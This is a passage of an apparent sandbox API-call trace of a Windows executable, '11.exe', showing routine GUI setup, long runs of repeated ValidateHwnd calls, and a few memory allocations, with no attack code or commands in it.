0x1001b [0070.119] LoadIcoCur () returned 0x10019 [0070.120] LoadIcoCur () returned 0x10017 [0070.120] LoadIcoCur () returned 0x50095 [0070.121] LoadIcoCur () returned 0xb0233 [0070.122] LoadIcoCur () returned 0xf008b [0070.123] LoadIcoCur () returned 0xe0225 [0070.123] LoadIcoCur () returned 0x80243 [0070.124] LoadIcoCur () returned 0x70235 [0070.125] LoadIcoCur () returned 0x10007 [0070.125] LoadIcoCur () returned 0x1000b [0070.125] LoadIcoCur () returned 0x10011 [0070.126] LoadIcoCur () returned 0x1000d [0070.126] LoadIcoCur () returned 0x10013 [0070.126] LoadIcoCur () returned 0x1000f [0070.127] LoadIcoCur () returned 0x0 [0070.127] LoadIcoCur () returned 0x10005 [0070.127] LoadIcoCur () returned 0x10009 [0070.127] LoadIcoCur () returned 0x10003 [0070.130] NtUserCallOneParam (Param=0x0, Routine=0x38) returned 0x4090409 [0070.130] NtUserGetDC () returned 0x160100c7 [0070.130] GetDeviceCaps (hdc=0x160100c7, index=90) returned 96 [0070.130] GdiReleaseDC () returned 0x1 [0070.130] NtUserCallOneParam (Param=0x160100c7, Routine=0x48) returned 0x1 [0070.130] GetProcAddressForCaller () returned 0x74ba32e0 [0070.130] EnumDisplayMonitors (hdc=0x0, lprcClip=0x0, lpfnEnum=0x4547c4, dwData=0x2ee0b7c) returned 1 [0070.196] __SEH_prolog4_GS () returned 0x19fc34 [0070.196] IsInsideUserApiHook () returned 0x1 [0070.196] _BeginIfHookedUserApiHook () returned 0x1 [0070.196] __SEH_epilog4_GS () returned 0x1 [0070.196] CreateFontIndirectA (lplf=0x19fdc3) returned 0xaa0a0677 [0070.197] GetObjectA (in: h=0xaa0a0677, c=60, pv=0x19fbb4 | out: pv=0x19fbb4) returned 60 [0070.244] __SEH_prolog4_GS () returned 0x19fc34 [0070.244] IsInsideUserApiHook () returned 0x1 [0070.244] _BeginIfHookedUserApiHook () returned 0x1 [0070.252] __SEH_epilog4_GS () returned 0x1 [0070.252] CreateFontIndirectA (lplf=0x19fd4b) returned 0xc50a070f [0070.252] GetObjectA (in: h=0xc50a070f, c=60, pv=0x19fbb4 | out: pv=0x19fbb4) returned 60 [0070.312] CreateFontIndirectA (lplf=0x19fd0f) returned 0x5a0a054a [0070.312] GetObjectA (in: h=0x5a0a054a, c=60, pv=0x19fbb4 | out: pv=0x19fbb4) returned 60 [0070.374] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x19fd23, nSize=0x100 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\11.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\11.exe")) returned 0x1e [0070.382] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x40) returned 0x2490000 [0070.383] GetClassInfoExA (in: hInstance=0x400000, lpszClass="TApplication", lpwcx=0x19fc80 | out: lpwcx=0x19fc80) returned 0 [0070.394] _memset (in: _Dst=0x19fc8c, _Val=0, _Size=0x2c | out: _Dst=0x19fc8c) returned 0x19fc8c [0070.394] RegisterClassExWOWA () returned 0xc179 [0070.394] GetSystemMetrics (nIndex=0) returned 1440 [0070.394] GetSystemMetrics (nIndex=1) returned 900 [0070.395] CreateWindowInternal () returned 0x30216 [0071.436] _SetWindowLong () returned 0x406d30 [0071.456] NtUserSetClassLong () returned 0x0 [0071.461] NtUserGetSystemMenu () returned 0x160247 [0071.534] NtUserDeleteMenu () returned 0x1 [0071.534] NtUserDeleteMenu () returned 0x1 [0071.534] NtUserDeleteMenu () returned 0x1 [0071.681] NtUserGetKeyboardLayoutList () returned 0x1 [0072.414] GetModuleHandleA (lpModuleName="USER32") returned 0x74b70000 [0072.414] GetProcAddressForCaller () returned 0x74b87000 [0072.994] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x0, Size=0x1a) returned 0x94aea0 [0073.004] RtlMultiByteToUnicodeN (in: UnicodeString=0x94aea0, MaxBytesInUnicodeString=0x1a, BytesInUnicodeString=0x19fe30, MultiByteString="commdlg_help", BytesInMultiByteString=0xd | out: UnicodeString="commdlg_help", BytesInUnicodeString=0x19fe30) returned 0x0 [0073.061] NtUserRegisterWindowMessage () returned 0xc176 [0073.072] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x0, Size=0x28) returned 0x9545e8 [0073.083] RtlMultiByteToUnicodeN (in: UnicodeString=0x9545e8, MaxBytesInUnicodeString=0x28, BytesInUnicodeString=0x19fe30, MultiByteString="commdlg_FindReplace", BytesInMultiByteString=0x14 | out: UnicodeString="commdlg_FindReplace", BytesInUnicodeString=0x19fe30) returned 0x0 [0073.084] NtUserRegisterWindowMessage () returned 0xc17a [0073.084] GetCurrentThreadId () returned 0xd58 [0073.084] InternalAddAtom () returned 0xc0a5 [0073.175] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x0, Size=0x1e) returned 0x94aea0 [0073.189] RtlMultiByteToUnicodeN (in: UnicodeString=0x94aea0, MaxBytesInUnicodeString=0x1e, BytesInUnicodeString=0x19fe64, MultiByteString="Delphi Picture", BytesInMultiByteString=0xf | out: UnicodeString="Delphi Picture", BytesInUnicodeString=0x19fe64) returned 0x0 [0073.275] NtUserRegisterWindowMessage () returned 0xc17b [0073.286] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x0, Size=0x22) returned 0x954498 [0073.297] RtlMultiByteToUnicodeN (in: UnicodeString=0x954498, MaxBytesInUnicodeString=0x22, BytesInUnicodeString=0x19fe64, MultiByteString="Delphi Component", BytesInMultiByteString=0x11 | out: UnicodeString="Delphi Component", BytesInUnicodeString=0x19fe64) returned 0x0 [0073.297] NtUserRegisterWindowMessage () returned 0xc17c [0073.298] GetModuleHandleA (lpModuleName="comctl32.dll") returned 0x74400000 [0073.298] GetProcAddressForCaller () returned 0x7441abf0 [0073.298] GetProcAddressForCaller () returned 0x7441aaa0 [0073.298] GetProcAddressForCaller () returned 0x7441c720 [0073.298] GetProcAddressForCaller () returned 0x7441d980 [0073.298] GetProcAddressForCaller () returned 0x7441cc50 [0073.298] GetProcAddressForCaller () returned 0x7441ca10 [0073.299] GetProcAddressForCaller () returned 0x7441c890 [0073.299] GetProcAddressForCaller () returned 0x7441c920 [0073.299] GetProcAddressForCaller () returned 0x7441c6c0 [0073.299] GetProcAddressForCaller () returned 0x7441d730 [0073.299] GetProcAddressForCaller () returned 0x7441d8b0 [0073.299] GetProcAddressForCaller () returned 0x7441d7c0 [0073.299] GetModuleHandleA (lpModuleName="User32.dll") returned 0x74b70000 [0073.299] GetProcAddressForCaller () returned 0x74ba3d70 [0073.310] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x0, Size=0x1e) returned 0x94aea0 [0073.429] RtlMultiByteToUnicodeN (in: UnicodeString=0x94aea0, MaxBytesInUnicodeString=0x1e, BytesInUnicodeString=0x19fe64, MultiByteString="TaskbarCreated", BytesInMultiByteString=0xf | out: UnicodeString="TaskbarCreated", BytesInUnicodeString=0x19fe64) returned 0x0 [0073.429] NtUserRegisterWindowMessage () returned 0xc08a [0074.203] LoadStringBaseExW () returned 0x0 [0074.204] LoadStringBaseExW () returned 0x0 [0074.223] LoadStringBaseExW () returned 0x0 [0074.223] LoadStringBaseExW () returned 0x0 [0074.338] LoadStringBaseExW () returned 0x0 [0074.339] LoadStringBaseExW () returned 0x0 [0074.367] LoadStringBaseExW () returned 0x0 [0074.367] LoadStringBaseExW () returned 0x0 [0074.469] LoadStringBaseExW () returned 0x0 [0074.469] LoadStringBaseExW () returned 0x0 [0074.487] LoadStringBaseExW () returned 0x0 [0074.488] LoadStringBaseExW () returned 0x0 [0074.562] LoadStringBaseExW () returned 0x0 [0074.562] LoadStringBaseExW () returned 0x0 [0074.587] ValidateHwnd () returned 0x0 [0074.587] ValidateHwnd () returned 0x0 [0074.587] ValidateHwnd () returned 0x0 [0074.588] ValidateHwnd () returned 0x0 [0074.588] ValidateHwnd () returned 0x0 [0074.588] ValidateHwnd () returned 0x0 [0074.589] ValidateHwnd () returned 0x0 [0074.589] ValidateHwnd () returned 0x0 [0074.589] ValidateHwnd () returned 0x0 [0074.589] ValidateHwnd () returned 0x0 [0074.590] ValidateHwnd () returned 0x0 [0074.590] ValidateHwnd () returned 0x0 [0074.592] ValidateHwnd () returned 0x0 [0074.592] ValidateHwnd () returned 0x0 [0074.592] ValidateHwnd () returned 0x0 [0074.592] ValidateHwnd () returned 0x0 [0074.593] ValidateHwnd () returned 0x0 [0074.593] ValidateHwnd () returned 0x0 [0074.593] ValidateHwnd () returned 0x0 [0074.594] ValidateHwnd () returned 0x0 [0074.594] ValidateHwnd () returned 0x0 [0074.594] ValidateHwnd () returned 0x0 [0074.594] ValidateHwnd () returned 0x0 [0074.594] ValidateHwnd () returned 0x0 [0074.594] ValidateHwnd () returned 0x0 [0074.595] ValidateHwnd () returned 0x0 [0074.595] ValidateHwnd () returned 0x0 [0074.596] ValidateHwnd () returned 0x0 [0074.596] ValidateHwnd () returned 0x0 [0074.596] ValidateHwnd () returned 0x0 [0074.596] ValidateHwnd () returned 0x0 [0074.597] ValidateHwnd () returned 0x0 [0074.597] ValidateHwnd () returned 0x0 [0074.597] ValidateHwnd () returned 0x0 [0074.597] ValidateHwnd () returned 0x0 [0074.597] ValidateHwnd () returned 0x0 [0074.597] ValidateHwnd () returned 0x0 [0074.597] ValidateHwnd () returned 0x0 [0074.598] ValidateHwnd () returned 0x0 [0074.598] ValidateHwnd () returned 0x0 [0074.598] ValidateHwnd () returned 0x0 [0074.598] ValidateHwnd () returned 0x0 [0074.598] ValidateHwnd () returned 0x0 [0074.598] ValidateHwnd () returned 0x0 [0074.599] ValidateHwnd () returned 0x0 [0074.599] ValidateHwnd () returned 0x0 [0074.599] ValidateHwnd () returned 0x0 [0074.599] ValidateHwnd () returned 0x0 [0074.599] ValidateHwnd () returned 0x0 [0074.599] ValidateHwnd () returned 0x0 [0074.599] ValidateHwnd () returned 0x0 [0074.600] ValidateHwnd () returned 0x0 [0074.600] ValidateHwnd () returned 0x0 [0074.600] ValidateHwnd () returned 0x0 [0074.600] ValidateHwnd () returned 0x0 [0074.600] ValidateHwnd () returned 0x0 [0074.600] ValidateHwnd () returned 0x0 [0074.601] ValidateHwnd () returned 0x0 [0074.601] ValidateHwnd () returned 0x0 [0074.601] ValidateHwnd () returned 0x0 [0074.601] ValidateHwnd () returned 0x0 [0074.601] ValidateHwnd () returned 0x0 [0074.601] ValidateHwnd () returned 0x0 [0074.601] ValidateHwnd () returned 0x0 [0074.602] ValidateHwnd () returned 0x0 [0074.602] ValidateHwnd () returned 0x0 [0074.602] ValidateHwnd () returned 0x0 [0074.602] ValidateHwnd () returned 0x0 [0074.602] ValidateHwnd () returned 0x0 [0074.602] ValidateHwnd () returned 0x0 [0074.603] ValidateHwnd () returned 0x0 [0074.603] ValidateHwnd () returned 0x0 [0074.603] ValidateHwnd () returned 0x0 [0074.603] ValidateHwnd () returned 0x0 [0074.604] ValidateHwnd () returned 0x0 [0074.604] ValidateHwnd () returned 0x0 [0074.604] ValidateHwnd () returned 0x0 [0074.604] ValidateHwnd () returned 0x0 [0074.604] ValidateHwnd () returned 0x0 [0074.604] ValidateHwnd () returned 0x0 [0074.605] ValidateHwnd () returned 0x0 [0074.605] ValidateHwnd () returned 0x0 [0074.605] ValidateHwnd () returned 0x0 [0074.605] ValidateHwnd () returned 0x0 [0074.605] ValidateHwnd () returned 0x0 [0074.605] ValidateHwnd () returned 0x0 [0074.605] ValidateHwnd () returned 0x0 [0074.606] ValidateHwnd () returned 0x0 [0074.606] ValidateHwnd () returned 0x0 [0074.606] ValidateHwnd () returned 0x0 [0074.606] ValidateHwnd () returned 0x0 [0074.606] ValidateHwnd () returned 0x0 [0074.606] ValidateHwnd () returned 0x0 [0074.606] ValidateHwnd () returned 0x0 [0074.607] ValidateHwnd () returned 0x0 [0074.607] ValidateHwnd () returned 0x0 [0074.607] ValidateHwnd () returned 0x0 [0074.607] ValidateHwnd () returned 0x0 [0074.607] ValidateHwnd () returned 0x0 [0074.607] ValidateHwnd () returned 0x0 [0074.608] ValidateHwnd () returned 0x0 [0074.608] ValidateHwnd () returned 0x0 [0074.608] ValidateHwnd () returned 0x0 [0074.608] ValidateHwnd () returned 0x0 [0074.688] ValidateHwnd () returned 0x0 [0074.688] ValidateHwnd () returned 0x0 [0074.688] ValidateHwnd () returned 0x0 [0074.688] ValidateHwnd () returned 0x0 [0074.689] ValidateHwnd () returned 0x0 [0074.689] ValidateHwnd () returned 0x0 [0074.689] ValidateHwnd () returned 0x0 [0074.689] ValidateHwnd () returned 0x0 [0074.689] ValidateHwnd () returned 0x0 [0074.689] ValidateHwnd () returned 0x0 [0074.690] ValidateHwnd () returned 0x0 [0074.690] ValidateHwnd () returned 0x0 [0074.690] ValidateHwnd () returned 0x0 [0074.690] ValidateHwnd () returned 0x0 [0074.690] ValidateHwnd () returned 0x0 [0074.691] ValidateHwnd () returned 0x0 [0074.691] ValidateHwnd () returned 0x0 [0074.691] ValidateHwnd () returned 0x0 [0074.691] ValidateHwnd () returned 0x0 [0074.692] ValidateHwnd () returned 0x0 [0074.692] ValidateHwnd () returned 0x0 [0074.692] ValidateHwnd () returned 0x0 [0074.692] ValidateHwnd () returned 0x0 [0074.692] ValidateHwnd () returned 0x0 [0074.692] ValidateHwnd () returned 0x0 [0074.693] ValidateHwnd () returned 0x0 [0074.693] ValidateHwnd () returned 0x0 [0074.693] ValidateHwnd () returned 0x0 [0074.693] ValidateHwnd () returned 0x0 [0074.693] ValidateHwnd () returned 0x0 [0074.693] ValidateHwnd () returned 0x0 [0074.693] ValidateHwnd () returned 0x0 [0074.694] ValidateHwnd () returned 0x0 [0074.694] ValidateHwnd () returned 0x0 [0074.694] ValidateHwnd () returned 0x0 [0074.694] ValidateHwnd () returned 0x0 [0074.694] ValidateHwnd () returned 0x0 [0074.694] ValidateHwnd () returned 0x0 [0074.695] ValidateHwnd () returned 0x0 [0074.695] ValidateHwnd () returned 0x0 [0074.695] ValidateHwnd () returned 0x0 [0074.695] ValidateHwnd () returned 0x0 [0074.696] ValidateHwnd () returned 0x0 [0074.696] ValidateHwnd () returned 0x0 [0074.696] ValidateHwnd () returned 0x0 [0074.696] ValidateHwnd () returned 0x0 [0074.697] ValidateHwnd () returned 0x0 [0074.697] ValidateHwnd () returned 0x0 [0074.697] ValidateHwnd () returned 0x0 [0074.697] ValidateHwnd () returned 0x0 [0074.697] ValidateHwnd () returned 0x0 [0074.698] ValidateHwnd () returned 0x0 [0074.698] ValidateHwnd () returned 0x0 [0074.698] ValidateHwnd () returned 0x0 [0074.698] ValidateHwnd () returned 0x0 [0074.698] ValidateHwnd () returned 0x0 [0074.698] ValidateHwnd () returned 0x0 [0074.699] ValidateHwnd () returned 0x0 [0074.699] ValidateHwnd () returned 0x0 [0074.699] ValidateHwnd () returned 0x0 [0074.699] ValidateHwnd () returned 0x0 [0074.699] ValidateHwnd () returned 0x0 [0074.699] ValidateHwnd () returned 0x0 [0074.699] ValidateHwnd () returned 0x0 [0074.700] ValidateHwnd () returned 0x0 [0074.700] ValidateHwnd () returned 0x0 [0074.700] ValidateHwnd () returned 0x0 [0074.700] ValidateHwnd () returned 0x0 [0074.700] ValidateHwnd () returned 0x0 [0074.700] ValidateHwnd () returned 0x0 [0074.701] ValidateHwnd () returned 0x0 [0074.701] ValidateHwnd () returned 0x0 [0074.701] ValidateHwnd () returned 0x0 [0074.701] ValidateHwnd () returned 0x0 [0074.701] ValidateHwnd () returned 0x0 [0074.701] ValidateHwnd () returned 0x0 [0074.701] ValidateHwnd () returned 0x0 [0074.702] ValidateHwnd () returned 0x0 [0074.702] ValidateHwnd () returned 0x0 [0074.702] ValidateHwnd () returned 0x0 [0074.702] ValidateHwnd () returned 0x0 [0074.702] ValidateHwnd () returned 0x0 [0074.703] ValidateHwnd () returned 0x0 [0074.703] ValidateHwnd () returned 0x0 [0074.703] ValidateHwnd () returned 0x0 [0074.703] ValidateHwnd () returned 0x0 [0074.703] ValidateHwnd () returned 0x0 [0074.703] ValidateHwnd () returned 0x0 [0074.704] ValidateHwnd () returned 0x0 [0074.704] ValidateHwnd () returned 0x0 [0074.704] ValidateHwnd () returned 0x0 [0074.704] ValidateHwnd () returned 0x0 [0074.704] ValidateHwnd () returned 0x0 [0074.704] ValidateHwnd () returned 0x0 [0074.704] ValidateHwnd () returned 0x0 [0074.705] ValidateHwnd () returned 0x0 [0074.705] ValidateHwnd () returned 0x0 [0074.705] ValidateHwnd () returned 0x0 [0074.705] ValidateHwnd () returned 0x0 [0074.705] ValidateHwnd () returned 0x0 [0074.705] ValidateHwnd () returned 0x0 [0074.706] ValidateHwnd () returned 0x0 [0074.706] ValidateHwnd () returned 0x0 [0074.706] ValidateHwnd () returned 0x0 [0074.706] ValidateHwnd () returned 0x0 [0074.706] ValidateHwnd () returned 0x0 [0074.707] ValidateHwnd () returned 0x0 [0074.707] ValidateHwnd () returned 0x0 [0074.707] ValidateHwnd () returned 0x0 [0074.707] ValidateHwnd () returned 0x0 [0074.707] ValidateHwnd () returned 0x0 [0074.708] ValidateHwnd () returned 0x0 [0074.708] ValidateHwnd () returned 0x0 [0074.708] ValidateHwnd () returned 0x0 [0074.708] ValidateHwnd () returned 0x0 [0074.708] ValidateHwnd () returned 0x0 [0074.708] ValidateHwnd () returned 0x0 [0074.709] ValidateHwnd () returned 0x0 [0074.709] ValidateHwnd () returned 0x0 [0074.709] ValidateHwnd () returned 0x0 [0074.709] ValidateHwnd () returned 0x0 [0074.709] ValidateHwnd () returned 0x0 [0074.709] ValidateHwnd () returned 0x0 [0074.709] ValidateHwnd () returned 0x0 [0074.710] ValidateHwnd () returned 0x0 [0074.710] ValidateHwnd () returned 0x0 [0074.710] ValidateHwnd () returned 0x0 [0074.710] ValidateHwnd () returned 0x0 [0074.710] ValidateHwnd () returned 0x0 [0074.710] ValidateHwnd () returned 0x0 [0074.711] ValidateHwnd () returned 0x0 [0074.711] ValidateHwnd () returned 0x0 [0074.711] ValidateHwnd () returned 0x0 [0074.711] ValidateHwnd () returned 0x0 [0074.711] ValidateHwnd () returned 0x0 [0074.711] ValidateHwnd () returned 0x0 [0074.712] ValidateHwnd () returned 0x0 [0074.712] ValidateHwnd () returned 0x0 [0074.712] ValidateHwnd () returned 0x0 [0074.712] ValidateHwnd () returned 0x0 [0074.712] ValidateHwnd () returned 0x0 [0074.712] ValidateHwnd () returned 0x0 [0074.713] ValidateHwnd () returned 0x0 [0074.713] ValidateHwnd () returned 0x0 [0074.713] ValidateHwnd () returned 0x0 [0075.780] ValidateHwnd () returned 0x0 [0075.781] ValidateHwnd () returned 0x0 [0075.781] ValidateHwnd () returned 0x0 [0075.781] ValidateHwnd () returned 0x0 [0075.781] ValidateHwnd () returned 0x0 [0075.781] ValidateHwnd () returned 0x0 [0075.781] ValidateHwnd () returned 0x0 [0075.781] ValidateHwnd () returned 0x0 [0075.781] ValidateHwnd () returned 0x0 [0075.781] ValidateHwnd () returned 0x0 [0075.782] ValidateHwnd () returned 0x0 [0075.782] ValidateHwnd () returned 0x0 [0075.782] ValidateHwnd () returned 0x0 [0075.782] ValidateHwnd () returned 0x0 [0075.782] ValidateHwnd () returned 0x0 [0075.782] ValidateHwnd () returned 0x0 [0075.782] ValidateHwnd () returned 0x0 [0075.782] ValidateHwnd () returned 0x0 [0075.783] ValidateHwnd () returned 0x0 [0075.783] ValidateHwnd () returned 0x0 [0075.783] ValidateHwnd () returned 0x0 [0075.783] ValidateHwnd () returned 0x0 [0075.783] ValidateHwnd () returned 0x0 [0075.783] ValidateHwnd () returned 0x0 [0075.783] ValidateHwnd () returned 0x0 [0075.783] ValidateHwnd () returned 0x0 [0075.783] ValidateHwnd () returned 0x0 [0075.784] ValidateHwnd () returned 0x0 [0075.784] ValidateHwnd () returned 0x0 [0075.784] ValidateHwnd () returned 0x0 [0075.784] ValidateHwnd () returned 0x0 [0075.784] ValidateHwnd () returned 0x0 [0075.784] ValidateHwnd () returned 0x0 [0075.784] ValidateHwnd () returned 0x0 [0075.784] ValidateHwnd () returned 0x0 [0075.785] ValidateHwnd () returned 0x0 [0075.785] ValidateHwnd () returned 0x0 [0075.785] ValidateHwnd () returned 0x0 [0075.785] ValidateHwnd () returned 0x0 [0075.785] ValidateHwnd () returned 0x0 [0075.785] ValidateHwnd () returned 0x0 [0075.785] ValidateHwnd () returned 0x0 [0075.785] ValidateHwnd () returned 0x0 [0075.785] ValidateHwnd () returned 0x0 [0075.786] ValidateHwnd () returned 0x0 [0075.786] ValidateHwnd () returned 0x0 [0075.786] ValidateHwnd () returned 0x0 [0075.786] ValidateHwnd () returned 0x0 [0075.786] ValidateHwnd () returned 0x0 [0075.786] ValidateHwnd () returned 0x0 [0075.786] ValidateHwnd () returned 0x0 [0075.786] ValidateHwnd () returned 0x0 [0075.787] ValidateHwnd () returned 0x0 [0075.787] ValidateHwnd () returned 0x0 [0075.787] ValidateHwnd () returned 0x0 [0075.787] ValidateHwnd () returned 0x0 [0075.787] ValidateHwnd () returned 0x0 [0075.787] ValidateHwnd () returned 0x0 [0075.787] ValidateHwnd () returned 0x0 [0075.787] ValidateHwnd () returned 0x0 [0075.787] ValidateHwnd () returned 0x0 [0075.788] ValidateHwnd () returned 0x0 [0075.788] ValidateHwnd () returned 0x0 [0075.788] ValidateHwnd () returned 0x0 [0075.788] ValidateHwnd () returned 0x0 [0075.788] ValidateHwnd () returned 0x0 [0075.788] ValidateHwnd () returned 0x0 [0075.788] ValidateHwnd () returned 0x0 [0075.788] ValidateHwnd () returned 0x0 [0075.789] ValidateHwnd () returned 0x0 [0075.789] ValidateHwnd () returned 0x0 [0075.789] ValidateHwnd () returned 0x0 [0075.789] ValidateHwnd () returned 0x0 [0075.789] ValidateHwnd () returned 0x0 [0075.789] ValidateHwnd () returned 0x0 [0075.789] ValidateHwnd () returned 0x0 [0075.790] ValidateHwnd () returned 0x0 [0075.790] ValidateHwnd () returned 0x0 [0075.790] ValidateHwnd () returned 0x0 [0075.790] ValidateHwnd () returned 0x0 [0075.790] ValidateHwnd () returned 0x0 [0075.790] ValidateHwnd () returned 0x0 [0075.790] ValidateHwnd () returned 0x0 [0075.790] ValidateHwnd () returned 0x0 [0075.791] ValidateHwnd () returned 0x0 [0075.791] ValidateHwnd () returned 0x0 [0075.791] ValidateHwnd () returned 0x0 [0075.791] ValidateHwnd () returned 0x0 [0075.791] ValidateHwnd () returned 0x0 [0075.791] ValidateHwnd () returned 0x0 [0075.791] ValidateHwnd () returned 0x0 [0075.791] ValidateHwnd () returned 0x0 [0075.791] ValidateHwnd () returned 0x0 [0075.792] ValidateHwnd () returned 0x0 [0075.792] ValidateHwnd () returned 0x0 [0075.792] ValidateHwnd () returned 0x0 [0075.792] ValidateHwnd () returned 0x0 [0075.792] ValidateHwnd () returned 0x0 [0075.792] ValidateHwnd () returned 0x0 [0075.792] ValidateHwnd () returned 0x0 [0075.792] ValidateHwnd () returned 0x0 [0075.792] ValidateHwnd () returned 0x0 [0075.793] ValidateHwnd () returned 0x0 [0075.793] ValidateHwnd () returned 0x0 [0075.793] ValidateHwnd () returned 0x0 [0075.793] ValidateHwnd () returned 0x0 [0075.793] ValidateHwnd () returned 0x0 [0075.793] ValidateHwnd () returned 0x0 [0075.793] ValidateHwnd () returned 0x0 [0075.793] ValidateHwnd () returned 0x0 [0075.794] ValidateHwnd () returned 0x0 [0075.794] ValidateHwnd () returned 0x0 [0075.794] ValidateHwnd () returned 0x0 [0075.794] ValidateHwnd () returned 0x0 [0075.794] ValidateHwnd () returned 0x0 [0075.794] ValidateHwnd () returned 0x0 [0075.794] ValidateHwnd () returned 0x0 [0075.794] ValidateHwnd () returned 0x0 [0075.794] ValidateHwnd () returned 0x0 [0075.795] ValidateHwnd () returned 0x0 [0075.795] ValidateHwnd () returned 0x0 [0075.795] ValidateHwnd () returned 0x0 [0075.795] ValidateHwnd () returned 0x0 [0075.795] ValidateHwnd () returned 0x0 [0075.795] ValidateHwnd () returned 0x0 [0075.795] ValidateHwnd () returned 0x0 [0075.796] ValidateHwnd () returned 0x0 [0075.796] ValidateHwnd () returned 0x0 [0075.796] ValidateHwnd () returned 0x0 [0075.796] ValidateHwnd () returned 0x0 [0075.796] ValidateHwnd () returned 0x0 [0075.797] ValidateHwnd () returned 0x0 [0075.797] ValidateHwnd () returned 0x0 [0075.797] ValidateHwnd () returned 0x0 [0075.797] ValidateHwnd () returned 0x0 [0075.797] ValidateHwnd () returned 0x0 [0075.797] ValidateHwnd () returned 0x0 [0075.797] ValidateHwnd () returned 0x0 [0075.798] ValidateHwnd () returned 0x0 [0075.798] ValidateHwnd () returned 0x0 [0075.798] ValidateHwnd () returned 0x0 [0075.798] ValidateHwnd () returned 0x0 [0075.798] ValidateHwnd () returned 0x0 [0075.798] ValidateHwnd () returned 0x0 [0075.798] ValidateHwnd () returned 0x0 [0075.799] ValidateHwnd () returned 0x0 [0075.799] ValidateHwnd () returned 0x0 [0075.799] ValidateHwnd () returned 0x0 [0075.799] ValidateHwnd () returned 0x0 [0075.799] ValidateHwnd () returned 0x0 [0075.799] ValidateHwnd () returned 0x0 [0075.799] ValidateHwnd () returned 0x0 [0075.800] ValidateHwnd () returned 0x0 [0075.800] ValidateHwnd () returned 0x0 [0075.800] ValidateHwnd () returned 0x0 [0075.800] ValidateHwnd () returned 0x0 [0075.800] ValidateHwnd () returned 0x0 [0075.800] ValidateHwnd () returned 0x0 [0075.800] ValidateHwnd () returned 0x0 [0075.800] ValidateHwnd () returned 0x0 [0075.801] ValidateHwnd () returned 0x0 [0075.801] ValidateHwnd () returned 0x0 [0075.801] ValidateHwnd () returned 0x0 [0075.801] ValidateHwnd () returned 0x0 [0075.801] ValidateHwnd () returned 0x0 [0075.801] ValidateHwnd () returned 0x0 [0075.801] ValidateHwnd () returned 0x0 [0075.801] ValidateHwnd () returned 0x0 [0075.802] ValidateHwnd () returned 0x0 [0075.802] ValidateHwnd () returned 0x0 [0075.802] ValidateHwnd () returned 0x0 [0075.802] ValidateHwnd () returned 0x0 [0075.802] ValidateHwnd () returned 0x0 [0075.802] ValidateHwnd () returned 0x0 [0075.802] ValidateHwnd () returned 0x0 [0075.802] ValidateHwnd () returned 0x0 [0075.803] ValidateHwnd () returned 0x0 [0075.803] ValidateHwnd () returned 0x0 [0075.803] ValidateHwnd () returned 0x0 [0075.803] ValidateHwnd () returned 0x0 [0075.803] ValidateHwnd () returned 0x0 [0075.803] ValidateHwnd () returned 0x0 [0075.803] ValidateHwnd () returned 0x0 [0075.803] ValidateHwnd () returned 0x0 [0075.803] ValidateHwnd () returned 0x0 [0075.804] ValidateHwnd () returned 0x0 [0075.804] ValidateHwnd () returned 0x0 [0075.804] ValidateHwnd () returned 0x0 [0075.804] ValidateHwnd () returned 0x0 [0075.804] ValidateHwnd () returned 0x0 [0075.804] ValidateHwnd () returned 0x0 [0075.804] ValidateHwnd () returned 0x0 [0075.804] ValidateHwnd () returned 0x0 [0075.805] ValidateHwnd () returned 0x0 [0075.805] ValidateHwnd () returned 0x0 [0075.805] ValidateHwnd () returned 0x0 [0075.805] ValidateHwnd () returned 0x0 [0075.805] ValidateHwnd () returned 0x0 [0075.805] ValidateHwnd () returned 0x0 [0075.805] ValidateHwnd () returned 0x0 [0075.805] ValidateHwnd () returned 0x0 [0075.806] ValidateHwnd () returned 0x0 [0075.806] ValidateHwnd () returned 0x0 [0075.806] ValidateHwnd () returned 0x0 [0075.806] ValidateHwnd () returned 0x0 [0075.806] ValidateHwnd () returned 0x0 [0075.806] ValidateHwnd () returned 0x0 [0075.806] ValidateHwnd () returned 0x0 [0075.806] ValidateHwnd () returned 0x0 [0075.806] ValidateHwnd () returned 0x0 [0075.807] ValidateHwnd () returned 0x0 [0075.807] ValidateHwnd () returned 0x0 [0075.807] ValidateHwnd () returned 0x0 [0075.807] ValidateHwnd () returned 0x0 [0075.807] ValidateHwnd () returned 0x0 [0075.807] ValidateHwnd () returned 0x0 [0075.807] ValidateHwnd () returned 0x0 [0075.807] ValidateHwnd () returned 0x0 [0075.808] ValidateHwnd () returned 0x0 [0075.808] ValidateHwnd () returned 0x0 [0075.808] ValidateHwnd () returned 0x0 [0075.808] ValidateHwnd () returned 0x0 [0075.808] ValidateHwnd () returned 0x0 [0075.808] ValidateHwnd () returned 0x0 [0075.808] ValidateHwnd () returned 0x0 [0075.808] ValidateHwnd () returned 0x0 [0075.809] ValidateHwnd () returned 0x0 [0075.809] ValidateHwnd () returned 0x0 [0075.809] ValidateHwnd () returned 0x0 [0075.809] ValidateHwnd () returned 0x0 [0075.809] ValidateHwnd () returned 0x0 [0075.809] ValidateHwnd () returned 0x0 [0075.809] ValidateHwnd () returned 0x0 [0075.810] ValidateHwnd () returned 0x0 [0075.810] ValidateHwnd () returned 0x0 [0075.810] ValidateHwnd () returned 0x0 [0075.810] ValidateHwnd () returned 0x0 [0075.810] ValidateHwnd () returned 0x0 [0075.810] ValidateHwnd () returned 0x0 [0075.810] ValidateHwnd () returned 0x0 [0075.810] ValidateHwnd () returned 0x0 [0075.811] ValidateHwnd () returned 0x0 [0075.811] ValidateHwnd () returned 0x0 [0075.811] ValidateHwnd () returned 0x0 [0075.811] ValidateHwnd () returned 0x0 [0075.811] ValidateHwnd () returned 0x0 [0075.827] ValidateHwnd () returned 0x0 [0075.827] ValidateHwnd () returned 0x0 [0075.828] ValidateHwnd () returned 0x0 [0076.096] VirtualAlloc (lpAddress=0x0, dwSize=0x2902ceec, flAllocationType=0x3000, flProtect=0x4) returned 0x31c0000 [0102.300] VirtualFree (lpAddress=0x31c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0109.141] SelectPalette (hdc=0x0, hPal=0x0, bForceBkgd=0) returned 